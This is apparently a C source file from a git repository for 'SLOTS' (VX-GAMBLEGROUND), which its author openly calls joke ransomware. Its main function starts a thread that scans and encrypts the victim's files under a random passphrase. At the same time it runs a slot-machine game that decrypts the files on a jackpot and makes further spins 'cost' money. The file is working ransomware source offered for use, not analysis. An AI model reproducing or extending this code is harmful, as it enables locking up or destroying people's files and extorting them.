summaryrefslogtreecommitdiff
path: root/src/VX-GAMBLEGROUND.c
blob: 727784452c99cb847180f2a1ac064f4b398f0fc1 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
/***
 * SLOTS - Feelin' Lucky?
 *
 * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
 * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
 * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
 *
 *
*/

#define _GNU_SOURCE

#include "VX-GAMBLEGROUND.h"

#include "encryption.h"
#include "search.h"
#include "screen.h"
#include "ll.h"

#include <sodium.h>

#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <argp.h>
#include <time.h>

#include <stdio.h>
#include <threads.h>
#include <regex.h>

const char *argp_program_version = "Alpha-0.1";
const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";

static char doc[] = "lol";
static char argdoc[] = "lmao";

static struct argp_option options[] = {
    {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
    {"decrypt",     'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files",    0},
    {"noencrypt",   'n', 0, 0, "Don't encrypt files when ran, just play slots",                         0},
    {0}
};

static error_t parse_opt(int key, char *arg, struct argp_state *state) {
    struct arguments *args = state->input;

    switch(key) {
        case 'p':
        /* Specifying the start option of "-p=<phrase>" errors out unless this is done.
        // Technically a user should use --passphrase=<phrase> if they want to use the = sign, but I think 
        //  this is how it should work. RMS can suck it */
        if(*arg == '=')
            arg++;

        args->inputpass = arg;
        if(strlen(args->inputpass) != PHRASESIZE) {
            error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
        }
        break;

        case 'd':
        args->flags |= SKIPSLOTS;
        break;

        case 'n':
        args->flags |= SKIPENC;
        break;

        default:
        return ARGP_ERR_UNKNOWN;
    }

    return 0;
}

static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};


int genphrase(char *phrase, size_t phrasesize) {
    memset(phrase, 0, phrasesize);
    for(size_t i = 0; i < phrasesize; i++)
        phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A';
    phrase[phrasesize] = '\0';

    return 0;
}

// roflmao fuck this project i'm too tired to bother with making it nice
int doslots(struct bullshit *stuff) {
    // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted
    // No the compiler just complains randomly. Sometimes when I compile it's fine and other times it whines
    // Gotta love open source
    stuff->handler = (struct sigaction){
        .sa_flags = SA_SIGINFO,
        .sa_mask = SIGINT | SIGWINCH,
        .sa_sigaction = catcher,
    };
    doinit(&stuff->handler);
    docolors();

    getmaxyx(stdscr, stuff->row, stuff->col);
    stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1);
    stuff->banner = create_banner(stuff->col, stuff->randphrase, stuff->passphrase);

    init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs);
    stuff->menu = new_menu(stuff->items);
    if(stuff->menu == NULL) {
        endwin();
        error(1, errno, "Could not create menu");
    }

    stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0);
    keypad(stuff->menuholder, TRUE);    
    init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC);

    stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0);
    if(stuff->slots.slotwin == NULL) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window");
    }
    init_slotholder(&stuff->slots);

    doupdate();

    struct endeargs decryptargs = {
        .flag = VXGG_DECRYPT,
        .list = NULL,
        .passphrase = stuff->passphrase
    };

    stuff->params = (struct params){
        .bannerwin = stuff->banner,
        .menu = stuff->menu,
        .menuholder = stuff->menuholder,
        .numspins = 3,
        .price = 1,
        .slots = &stuff->slots,
        .decrypt_callback = ende_wrapper,
        .decrypt_args = (void*)&decryptargs
    };

    handle_input(stuff->menuholder, stuff->menu, &stuff->params);

    unpost_menu(stuff->menu);
    free_menu(stuff->menu);
    for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
        free_item(stuff->items[i]);

    endwin();

    return 0;
}

int doslots_twrapper(void *passed) {
    return doslots((struct bullshit*)passed);
}

int scanundencrypt(void *passed) {
    struct sande *p = (struct sande *)passed;

    p->scanned = scanfiles(p->STARTPATH, p->cmp);
    //encryptvxgg(p->scanned, p->passphrase);
    ENorDE_cryptvxgg(p->scanned, p->passphrase, VXGG_ENCRYPT);

    return 0;
}



int main(int argc, char *argv[]) {
    struct arguments args = {
        .inputpass = NULL,
        .flags = 0
    };
    argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);

    if(args.flags == (SKIPENC | SKIPSLOTS))
        error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure");


    // C is truly a mystery sometimes. If this is statically defined, shit breaks. But when I allocate it? Just works
    char *passphrase = calloc(PHRASESIZE + 1, sizeof(*passphrase));
    if(args.inputpass == NULL) {
        genphrase(passphrase, PHRASESIZE);
    } else {
        passphrase = args.inputpass;
    }


    // Deal with decrypting flag
    if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) {
        struct nodelist *files = NULL;
        files = scanfiles(FILESCAN_START, alphasort);
        ENorDE_cryptvxgg(files, passphrase, VXGG_DECRYPT);
        return 0;
    }

    struct bullshit stuff;
    struct nodelist *files = NULL;
    struct sande scanner = {.cmp = alphasort, .STARTPATH = FILESCAN_START, .scanned = files, .passphrase = passphrase};
    strncpy(stuff.passphrase, passphrase, PHRASESIZE);
    thrd_t slots, filescan;
    
    int err;
    if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success)
        error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err);
    if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success)
        error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err);

    thrd_join(slots, NULL);
    thrd_join(filescan, NULL);
    


    return 0;
}